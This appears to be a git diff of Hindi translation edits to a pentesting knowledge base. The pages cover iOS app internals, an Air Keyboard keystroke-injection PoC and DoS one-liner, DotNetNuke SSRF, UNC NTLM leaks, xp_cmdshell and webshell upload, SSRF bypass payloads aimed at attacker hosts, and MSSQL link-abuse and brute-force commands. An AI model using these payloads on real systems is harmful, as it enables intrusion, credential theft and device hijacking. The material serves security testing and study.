- एक स्थापित एप्लिकेशन के फ़ोल्डर के अंदर (**`/User/Applications/<APP ID>/`**) आप कुछ दिलचस्प फ़ाइलें पा सकते हैं:
|
||||
- **`iTunesArtwork`**: ऐप द्वारा उपयोग किया जाने वाला आइकन
|
||||
- **`iTunesMetadata.plist`**: ऐप की जानकारी जो App Store में उपयोग की जाती है
|
||||
- **`iTunesMetadata.plist`**: App Store में उपयोग किए जाने वाले ऐप की जानकारी
|
||||
- **`/Library/*`**: प्राथमिकताएँ और कैश शामिल हैं। **`/Library/Cache/Snapshots/*`** में आप एप्लिकेशन को बैकग्राउंड में भेजने से पहले किए गए स्नैपशॉट को पा सकते हैं।
|
||||
|
||||
### हॉट पैचिंग/अनिवार्य अपडेटिंग
|
||||
|
||||
डेवलपर्स **अपने ऐप के सभी इंस्टॉलेशन को तुरंत पैच कर सकते हैं** बिना एप्लिकेशन को App Store में फिर से सबमिट किए और इसके स्वीकृत होने की प्रतीक्षा किए।\
|
||||
इसके लिए आमतौर पर [**JSPatch**](https://github.com/bang590/JSPatch)** का उपयोग किया जाता है।** लेकिन अन्य विकल्प भी हैं जैसे [Siren](https://github.com/ArtSabintsev/Siren) और [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)।\
|
||||
**यह एक खतरनाक तंत्र है जिसे दुर्भावनापूर्ण तृतीय पक्ष SDKs द्वारा दुरुपयोग किया जा सकता है, इसलिए यह अनुशंसा की जाती है कि स्वचालित अपडेटिंग के लिए उपयोग की जाने वाली विधि (यदि कोई हो) की जांच करें और इसका परीक्षण करें।** आप इस उद्देश्य के लिए ऐप का एक पिछला संस्करण डाउनलोड करने का प्रयास कर सकते हैं।
|
||||
**यह एक खतरनाक तंत्र है जिसे दुर्भावनापूर्ण तृतीय पक्ष SDK द्वारा दुरुपयोग किया जा सकता है, इसलिए यह अनुशंसा की जाती है कि स्वचालित अपडेटिंग के लिए उपयोग की जाने वाली विधि (यदि कोई हो) की जांच करें और इसका परीक्षण करें।** आप इस उद्देश्य के लिए ऐप का एक पिछला संस्करण डाउनलोड करने का प्रयास कर सकते हैं।
|
||||
|
||||
### तृतीय पक्ष
|
||||
|
||||
@ -1050,7 +1050,7 @@ TLS प्रमाणपत्र को मान्य करने में
|
||||
|
||||
तीसरे पक्ष के SDKs द्वारा प्रदान की जाने वाली सेवाओं में उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन, या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालाँकि, यह एक जोखिम प्रस्तुत करता है क्योंकि डेवलपर्स को इन पुस्तकालयों द्वारा निष्पादित कोड के बारे में पूरी जानकारी नहीं हो सकती है, जिससे संभावित गोपनीयता और सुरक्षा जोखिम हो सकते हैं। यह महत्वपूर्ण है कि तीसरे पक्ष की सेवाओं के साथ साझा की गई जानकारी को आवश्यकतानुसार सीमित किया जाए और यह सुनिश्चित किया जाए कि कोई संवेदनशील डेटा उजागर न हो।
|
||||
|
||||
तीसरे पक्ष की सेवाओं का कार्यान्वयन आमतौर पर दो रूपों में आता है: एक स्वतंत्र पुस्तकालय या एक पूर्ण SDK। उपयोगकर्ता की गोपनीयता की रक्षा के लिए, इन सेवाओं के साथ साझा किए गए किसी भी डेटा को **गुमनाम** किया जाना चाहिए ताकि व्यक्तिगत पहचान योग्य जानकारी (PII) का खुलासा न हो।
|
||||
तीसरे पक्ष की सेवाओं का कार्यान्वयन आमतौर पर दो रूपों में आता है: एक स्वतंत्र पुस्तकालय या एक पूर्ण SDK। उपयोगकर्ता की गोपनीयता की रक्षा के लिए, इन सेवाओं के साथ साझा किए गए किसी भी डेटा को **गुमनाम** किया जाना चाहिए ताकि व्यक्तिगत पहचान योग्य जानकारी (PII) का खुलासा न हो सके।
|
||||
|
||||
एक एप्लिकेशन द्वारा उपयोग की जाने वाली पुस्तकालयों की पहचान करने के लिए, **`otool`** कमांड का उपयोग किया जा सकता है। इस उपकरण को एप्लिकेशन और इसके द्वारा उपयोग की जाने वाली प्रत्येक साझा पुस्तकालय के खिलाफ चलाया जाना चाहिए ताकि अतिरिक्त पुस्तकालयों का पता लगाया जा सके।
|
||||
```bash
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS संस्करण का वाणिज्यिक "Air Keyboard" एप्लिकेशन (App Store ID 6463187929) **पोर्ट 8888 पर एक स्पष्ट-टेक्स्ट TCP सेवा** खोलता है जो **कोई प्रमाणीकरण** किए बिना कीस्ट्रोक फ़्रेम स्वीकार करता है।
|
||||
वाणिज्यिक "Air Keyboard" एप्लिकेशन (App Store ID 6463187929) का iOS संस्करण **पोर्ट 8888 पर एक स्पष्ट-टेक्स्ट TCP सेवा** खोलता है जो **कोई प्रमाणीकरण** किए बिना कीस्ट्रोक फ़्रेम स्वीकार करता है।
|
||||
एक ही Wi-Fi नेटवर्क पर कोई भी डिवाइस उस पोर्ट से कनेक्ट कर सकता है और पीड़ित के फोन में मनचाहा कीबोर्ड इनपुट इंजेक्ट कर सकता है, जिससे **पूर्ण दूरस्थ इंटरैक्शन हाइजैकिंग** प्राप्त होती है।
|
||||
|
||||
एक साथी Android बिल्ड **पोर्ट 55535** पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है, लेकिन तैयार किया गया कचरा **OpenSSL डिक्रिप्शन रूटीन में एक अनहैंडल्ड अपवाद** का कारण बनता है, जिससे बैकग्राउंड सेवा क्रैश हो जाती है (**DoS**).
|
||||
|
||||
## 1. सेवा खोज
|
||||
## 1. Service Discovery
|
||||
|
||||
स्थानीय नेटवर्क को स्कैन करें और ऐप्स द्वारा उपयोग किए जाने वाले दो निश्चित पोर्ट की तलाश करें:
|
||||
```bash
|
||||
@ -37,7 +37,7 @@ ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
घोषित लंबाई में `device_id` बाइट शामिल है **लेकिन** दो-बाइट हेडर स्वयं शामिल नहीं है।
|
||||
|
||||
## 3. Exploitation PoC
|
||||
## 3. शोषण PoC
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
@ -54,25 +54,25 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
कोई भी प्रिंटेबल ASCII (जिसमें `\n`, `\r`, विशेष कुंजी, आदि शामिल हैं) भेजा जा सकता है, जिससे हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति मिलती है: ऐप्स लॉन्च करना, IM भेजना, फ़िशिंग URL पर जाना, आदि।
|
||||
कोई भी प्रिंट करने योग्य ASCII (जिसमें `\n`, `\r`, विशेष कुंजी, आदि शामिल हैं) भेजा जा सकता है, प्रभावी रूप से हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति प्रदान करता है: ऐप्स लॉन्च करना, IM भेजना, फ़िशिंग URL पर जाना, आदि।
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Android पोर्ट (55535) एक 4-चरित्र पासवर्ड की अपेक्षा करता है जो **hard-coded AES-128-ECB key** के साथ एन्क्रिप्ट किया गया है, इसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ `AES_decrypt()` में उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए, एक ही गलत पैकेट वैध उपयोगकर्ताओं को डिस्कनेक्टेड रखने के लिए पर्याप्त है जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता।
|
||||
Android पोर्ट (55535) एक 4-चरित्र पासवर्ड की अपेक्षा करता है जो **hard-coded AES-128-ECB कुंजी** के साथ एन्क्रिप्ट किया गया है, इसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ `AES_decrypt()` में ऊपर उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए, एक ही गलत पैकेट पर्याप्त है ताकि वैध उपयोगकर्ता डिस्कनेक्टेड रहें जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता।
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. मूल कारण
|
||||
|
||||
1. **आगामी फ़्रेमों पर कोई मूल / अखंडता जांच** (iOS)।
|
||||
1. **आने वाले फ़्रेमों पर कोई मूल / अखंडता जांच** (iOS)।
|
||||
2. **क्रिप्टोग्राफिक दुरुपयोग** (स्थिर कुंजी, ECB, लंबाई सत्यापन की कमी) और **अपवाद प्रबंधन की कमी** (Android)।
|
||||
|
||||
## 6. शमन और हार्डनिंग विचार
|
||||
## 6. शमन और सख्ती के विचार
|
||||
|
||||
* कभी भी मोबाइल हैंडसेट पर बिना प्रमाणीकरण सेवाएँ न दिखाएँ।
|
||||
* मोबाइल हैंडसेट पर कभी भी बिना प्रमाणीकरण सेवाएँ न दिखाएँ।
|
||||
* ऑनबोर्डिंग के दौरान प्रति-डिवाइस रहस्यों को निकालें और इनपुट प्रोसेसिंग से पहले उन्हें सत्यापित करें।
|
||||
* श्रोता को `127.0.0.1` से बाइंड करें और दूरस्थ नियंत्रण के लिए आपसी प्रमाणीकरण, एन्क्रिप्टेड परिवहन का उपयोग करें (जैसे, TLS, Noise)।
|
||||
* श्रोता को `127.0.0.1` से बाइंड करें और दूरस्थ नियंत्रण के लिए आपसी प्रमाणीकरण, एन्क्रिप्टेड परिवहन (जैसे, TLS, Noise) का उपयोग करें।
|
||||
* मोबाइल सुरक्षा समीक्षाओं के दौरान अप्रत्याशित खुले पोर्ट का पता लगाएँ (`netstat`, `lsof`, `frida-trace` पर `socket()` आदि)।
|
||||
* एक अंतिम उपयोगकर्ता के रूप में: Air Keyboard को अनइंस्टॉल करें या इसका उपयोग केवल विश्वसनीय, अलग Wi-Fi नेटवर्क पर करें।
|
||||
|
||||
@ -86,7 +86,7 @@ adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; ca
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [एयर कीबोर्ड iOS ऐप में रिमोट इनपुट इंजेक्शन कमजोरियों का अभी तक पैच नहीं हुआ](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Air Keyboard iOS ऐप में रिमोट इनपुट इंजेक्शन कमजोरियों का अभी तक पैच नहीं हुआ](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity सलाह WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
यदि आप DNN में **administrator** के रूप में प्रवेश करते हैं तो **RCE** प्राप्त करना आसान है, हालांकि पिछले कुछ वर्षों में कई *unauthenticated* और *post-auth* तकनीकों को प्रकाशित किया गया है। निम्नलिखित चीट-शीट आक्रामक और रक्षात्मक कार्य के लिए सबसे उपयोगी प्राइमिटिव्स को एकत्र करती है।
|
||||
यदि आप DNN में **administrator** के रूप में प्रवेश करते हैं, तो **RCE** प्राप्त करना आसान है, हालांकि पिछले कुछ वर्षों में कई *unauthenticated* और *post-auth* तकनीकों को प्रकाशित किया गया है। निम्नलिखित चीट-शीट आक्रामक और रक्षात्मक कार्य के लिए सबसे उपयोगी प्राइमिटिव्स को एकत्र करती है।
|
||||
|
||||
---
|
||||
## संस्करण और वातावरण गणना
|
||||
## संस्करण और वातावरण की गणना
|
||||
|
||||
* *X-DNN* HTTP प्रतिक्रिया हेडर की जांच करें - यह आमतौर पर सटीक प्लेटफ़ॉर्म संस्करण का खुलासा करता है।
|
||||
* स्थापना विज़ार्ड `/Install/Install.aspx?mode=install` में संस्करण लीक करता है (बहुत पुराने इंस्टॉलेशन पर पहुंच योग्य)।
|
||||
@ -46,12 +46,12 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
The request is triggered in the background; monitor your listener for callbacks.
|
||||
|
||||
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
|
||||
*Affected versions 6.0.0 – 9.x (< 10.0.1)*
|
||||
*प्रभावित संस्करण 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
विशेष रूप से तैयार की गई सामग्री DNN को **UNC path** का उपयोग करके संसाधन लाने का प्रयास करने के लिए मजबूर कर सकती है जैसे `\\attacker\share\img.png`। Windows खुशी-खुशी NTLM बातचीत करेगा, सर्वर-खाता हैश को हमलावर को लीक करेगा। **10.0.1** में अपग्रेड करें या फ़ायरवॉल पर आउटबाउंड SMB को बंद करें।
|
||||
विशेष रूप से तैयार की गई सामग्री DNN को **UNC पथ** का उपयोग करके संसाधन लाने का प्रयास करने के लिए मजबूर कर सकती है जैसे `\\attacker\share\img.png`। Windows खुशी-खुशी NTLM बातचीत करेगा, सर्वर-खाता हैश को हमलावर को लीक करेगा। **10.0.1** में अपग्रेड करें या फ़ायरवॉल पर आउटबाउंड SMB को बंद करें।
|
||||
|
||||
### 4. IP Filter Bypass (CVE-2025-52487)
|
||||
यदि प्रशासक *Host/IP Filters* पर निर्भर करते हैं प्रशासन पोर्टल सुरक्षा के लिए, तो ध्यान रखें कि **10.0.1** से पहले के संस्करणों को एक रिवर्स-प्रॉक्सी परिदृश्य में `X-Forwarded-For` को हेरफेर करके बायपास किया जा सकता है।
|
||||
यदि प्रशासक *Host/IP Filters* पर निर्भर करते हैं प्रशासन पोर्टल सुरक्षा के लिए, तो ध्यान दें कि **10.0.1** से पहले के संस्करणों को एक रिवर्स-प्रॉक्सी परिदृश्य में `X-Forwarded-For` को हेरफेर करके बायपास किया जा सकता है।
|
||||
|
||||
---
|
||||
## Post-Authentication to RCE
|
||||
@ -66,7 +66,7 @@ RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Via ASPX वेबशेल अपलोड
|
||||
### ASPX वेबशेल अपलोड के माध्यम से
|
||||
1. **`Settings → Security → More → More Security Settings`** पर जाएं।
|
||||
2. **Allowable File Extensions** में `aspx` (या `asp`) जोड़ें और **Save** करें।
|
||||
3. **`/admin/file-management`** पर जाएं और `shell.aspx` अपलोड करें।
|
||||
@ -74,7 +74,7 @@ xp_cmdshell 'whoami';
|
||||
|
||||
---
|
||||
## Windows पर विशेषाधिकार वृद्धि
|
||||
एक बार जब कोड निष्पादन **IIS AppPool\<Site>** के रूप में प्राप्त हो जाता है, तो सामान्य Windows विशेषाधिकार वृद्धि तकनीकें लागू होती हैं। यदि बॉक्स कमजोर है, तो आप इसका लाभ उठा सकते हैं:
|
||||
एक बार जब कोड निष्पादन **IIS AppPool\<Site>** के रूप में प्राप्त हो जाता है, तो सामान्य Windows विशेषाधिकार-उद्घाटन तकनीकें लागू होती हैं। यदि बॉक्स कमजोर है, तो आप इसका लाभ उठा सकते हैं:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** का उपयोग *SeImpersonatePrivilege* का दुरुपयोग करने के लिए।
|
||||
* *Service Accounts* से बचने के लिए **Juicy/Sharp Potatoes**।
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### लोकलहोस्ट
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
@ -146,7 +146,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक को आजमा सकते हैं:
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -158,7 +158,7 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का होस्ट डाल सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक Host हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
|
||||
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का एक होस्ट दर्ज कर सकते हैं और यह आपके लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक Host हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -193,13 +193,13 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-trick
|
||||
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग को प्रभावित करता है, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
|
||||

|
||||
|
||||
### Left square bracket
|
||||
|
||||
उपयोगकर्ता जानकारी खंड में “left square bracket” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न होता है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
उपयोगकर्ता जानकारी खंड में “left square bracket” चरित्र `[` Spring के UriComponentsBuilder को एक होस्टनेम मान लौटाने का कारण बन सकता है जो ब्राउज़रों से भिन्न है: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Other Confusions
|
||||
|
||||
@ -209,28 +209,28 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-
|
||||
|
||||
### IPv6 Zone Identifier (%25) Trick
|
||||
|
||||
आधुनिक URL पार्सर जो RFC 6874 का समर्थन करते हैं, *link-local* IPv6 पतों को प्रतिशत चिन्ह के बाद एक **zone identifier** शामिल करने की अनुमति देते हैं। कुछ सुरक्षा फ़िल्टर इस सिंटैक्स के बारे में अवगत नहीं हैं और केवल स्क्वायर-ब्रैकेटेड IPv6 लिटेरल को हटा देंगे, जिससे निम्नलिखित पेलोड एक आंतरिक इंटरफेस तक पहुँच सके:
|
||||
आधुनिक URL पार्सर जो RFC 6874 का समर्थन करते हैं, *link-local* IPv6 पते को प्रतिशत चिन्ह के बाद एक **zone identifier** शामिल करने की अनुमति देते हैं। कुछ सुरक्षा फ़िल्टर इस सिंटैक्स के बारे में अवगत नहीं हैं और केवल स्क्वायर-ब्रैकेटेड IPv6 लिटेरल को हटा देंगे, जिससे निम्नलिखित पेलोड एक आंतरिक इंटरफेस तक पहुँच सके:
|
||||
```text
|
||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
```
|
||||
यदि लक्षित अनुप्रयोग यह सत्यापित करता है कि होस्ट *नहीं* है `fe80::1` लेकिन `%` पर पार्सिंग रोकता है, तो यह अनुरोध को गलत तरीके से बाहरी के रूप में मान सकता है। किसी भी सुरक्षा निर्णय से पहले हमेशा पते को सामान्यीकृत करें या वैकल्पिक क्षेत्र आईडी को पूरी तरह से हटा दें।
|
||||
यदि लक्षित एप्लिकेशन यह सत्यापित करता है कि होस्ट *नहीं* है `fe80::1` लेकिन `%` पर पार्सिंग रोकता है, तो यह अनुरोध को गलत तरीके से बाहरी के रूप में मान सकता है। किसी भी सुरक्षा निर्णय से पहले हमेशा पते को सामान्यीकृत करें या वैकल्पिक क्षेत्र आईडी को पूरी तरह से हटा दें।
|
||||
|
||||
### हालिया पुस्तकालय पार्सिंग CVEs (2022–2025)
|
||||
### हाल की लाइब्रेरी पार्सिंग CVEs (2022–2025)
|
||||
|
||||
कई मुख्यधारा के ढांचे ने होस्टनाम-मिलान समस्याओं का सामना किया है जिन्हें SSRF के लिए शोषित किया जा सकता है जब URL सत्यापन को ऊपर सूचीबद्ध ट्रिक्स के साथ बायपास किया गया हो:
|
||||
|
||||
| वर्ष | CVE | घटक | बग का सारांश | न्यूनतम PoC |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` *userinfo* अनुभाग में अनुमति नहीं है, इसलिए `https://example.com\[@internal` को Spring द्वारा होस्ट `example.com` के रूप में पार्स किया जाता है लेकिन ब्राउज़रों द्वारा `internal` के रूप में, जब होस्ट अनुमति-सूचियाँ उपयोग की जाती हैं तो ओपन-रीडायरेक्ट और SSRF को सक्षम करता है। Spring 5.3.34 / 6.0.19 / 6.1.6+ में अपग्रेड करें। |
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` *userinfo* अनुभाग में अनुमति नहीं है, इसलिए `https://example.com\[@internal` को Spring द्वारा होस्ट `example.com` के रूप में पार्स किया जाता है लेकिन ब्राउज़रों द्वारा `internal` के रूप में, जब होस्ट अनुमति-सूचियाँ उपयोग की जाती हैं तो ओपन-रीडायरेक्ट और SSRF को सक्षम करता है। Spring 5.3.34 / 6.0.19 / 6.1.6+ में अपग्रेड करें। |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | बैकस्लैश भ्रम ने `http://example.com\\@169.254.169.254/` को होस्ट फ़िल्टर को बायपास करने की अनुमति दी जो `@` पर विभाजित होते हैं। |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | जब नाम `.` (डॉटलेस डोमेन भ्रम) के साथ समाप्त होता है तो होस्टनाम सत्यापन छोड़ दिया गया। |
|
||||
|
||||
जब आप तृतीय-पक्ष URL पार्सर्स पर निर्भर करते हैं, तो **आप जिस पुस्तकालय पर भरोसा करते हैं द्वारा लौटाए गए मानकीकृत होस्ट की तुलना उपयोगकर्ता द्वारा प्रदान किए गए कच्चे स्ट्रिंग से करें** ताकि इन प्रकार की समस्याओं का पता लगाया जा सके।
|
||||
जब आप तृतीय-पक्ष URL पार्सर्स पर निर्भर करते हैं, तो **इन समस्याओं के वर्गों का पता लगाने के लिए उस लाइब्रेरी द्वारा लौटाए गए मानकीकृत होस्ट की तुलना करें जिसे आप भरोसा करते हैं और उपयोगकर्ता द्वारा प्रदान किए गए कच्चे स्ट्रिंग से करें**।
|
||||
|
||||
### पेलोड-जनरेशन सहायक (2024+)
|
||||
### पेलोड-जनरेशन हेल्पर्स (2024+)
|
||||
|
||||
हाथ से बड़े कस्टम शब्द-सूचियाँ बनाना कठिन है। ओपन-सोर्स उपकरण **SSRF-PayloadMaker** (Python 3) अब *80 k+* होस्ट-मैंगलिंग संयोजनों को स्वचालित रूप से उत्पन्न कर सकता है, जिसमें मिश्रित एन्कोडिंग, मजबूर-HTTP डाउनग्रेड और बैकस्लैश विविधताएँ शामिल हैं:
|
||||
हाथ से बड़े कस्टम शब्द-सूचियाँ बनाना कठिन है। ओपन-सोर्स टूल **SSRF-PayloadMaker** (Python 3) अब *80 k+* होस्ट-मैंगलिंग संयोजनों को स्वचालित रूप से उत्पन्न कर सकता है, जिसमें मिश्रित एन्कोडिंग, मजबूर-HTTP डाउनग्रेड और बैकस्लैश वेरिएंट शामिल हैं:
|
||||
```bash
|
||||
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
||||
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
||||
|
@ -7,7 +7,7 @@
|
||||
|
||||
### Python
|
||||
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) टूल impacket पर आधारित है, और यह kerberos टिकट का उपयोग करके प्रमाणित करने की अनुमति देता है, और लिंक श्रृंखलाओं के माध्यम से हमले करता है
|
||||
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) उपकरण impacket पर आधारित है, और यह kerberos टिकट का उपयोग करके प्रमाणित करने की अनुमति देता है, और लिंक श्रृंखलाओं के माध्यम से हमले करता है।
|
||||
|
||||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||
```shell
|
||||
@ -79,7 +79,7 @@ mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
||||
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
||||
|
||||
```
|
||||
### नेटवर्क से डोमेन सत्र के बिना एन्यूमरेटिंग
|
||||
### डोमेन सत्र के बिना नेटवर्क से एन्यूमरेट करना
|
||||
```
|
||||
|
||||
# Interactive mode
|
||||
@ -166,21 +166,21 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
```
|
||||
Check in the page mentioned in the **following section how to do this manually.**
|
||||
**निम्नलिखित अनुभाग में मैन्युअल रूप से यह कैसे करना है, यह देखें।**
|
||||
|
||||
### MSSQL Basic Hacking Tricks
|
||||
### MSSQL बुनियादी हैकिंग ट्रिक्स
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
|
||||
{{#endref}}
|
||||
|
||||
## MSSQL Trusted Links
|
||||
## MSSQL ट्रस्टेड लिंक
|
||||
|
||||
यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग करने में सक्षम होगा**। ये विश्वास श्रृंखलाबद्ध किए जा सकते हैं और किसी बिंदु पर उपयोगकर्ता कुछ गलत कॉन्फ़िगर किए गए डेटाबेस को खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।
|
||||
यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा ट्रस्ट किया गया है (डेटाबेस लिंक)। यदि उपयोगकर्ता के पास ट्रस्टेड डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए ट्रस्ट संबंध का उपयोग कर सकेगा**। ये ट्रस्ट चेन किए जा सकते हैं और किसी बिंदु पर उपयोगकर्ता कुछ गलत कॉन्फ़िगर किए गए डेटाबेस को खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।
|
||||
|
||||
**डेटाबेस के बीच के लिंक वन ट्रस्ट के पार भी काम करते हैं।**
|
||||
|
||||
### Powershell Abuse
|
||||
### पॉवरशेल दुरुपयोग
|
||||
```bash
|
||||
#Look for MSSQL links of an accessible instance
|
||||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||||
@ -220,7 +220,7 @@ inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
आप मेटास्प्लॉइट का उपयोग करके आसानी से विश्वसनीय लिंक की जांच कर सकते हैं।
|
||||
आप आसानी से metasploit का उपयोग करके विश्वसनीय लिंक की जांच कर सकते हैं।
|
||||
```bash
|
||||
#Set username, password, windows auth (if using AD), IP...
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
@ -232,7 +232,7 @@ msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
|
||||
**Linux** से आप **sqsh** और **mssqlclient.py** के साथ एक MSSQL कंसोल शेल प्राप्त कर सकते हैं।
|
||||
|
||||
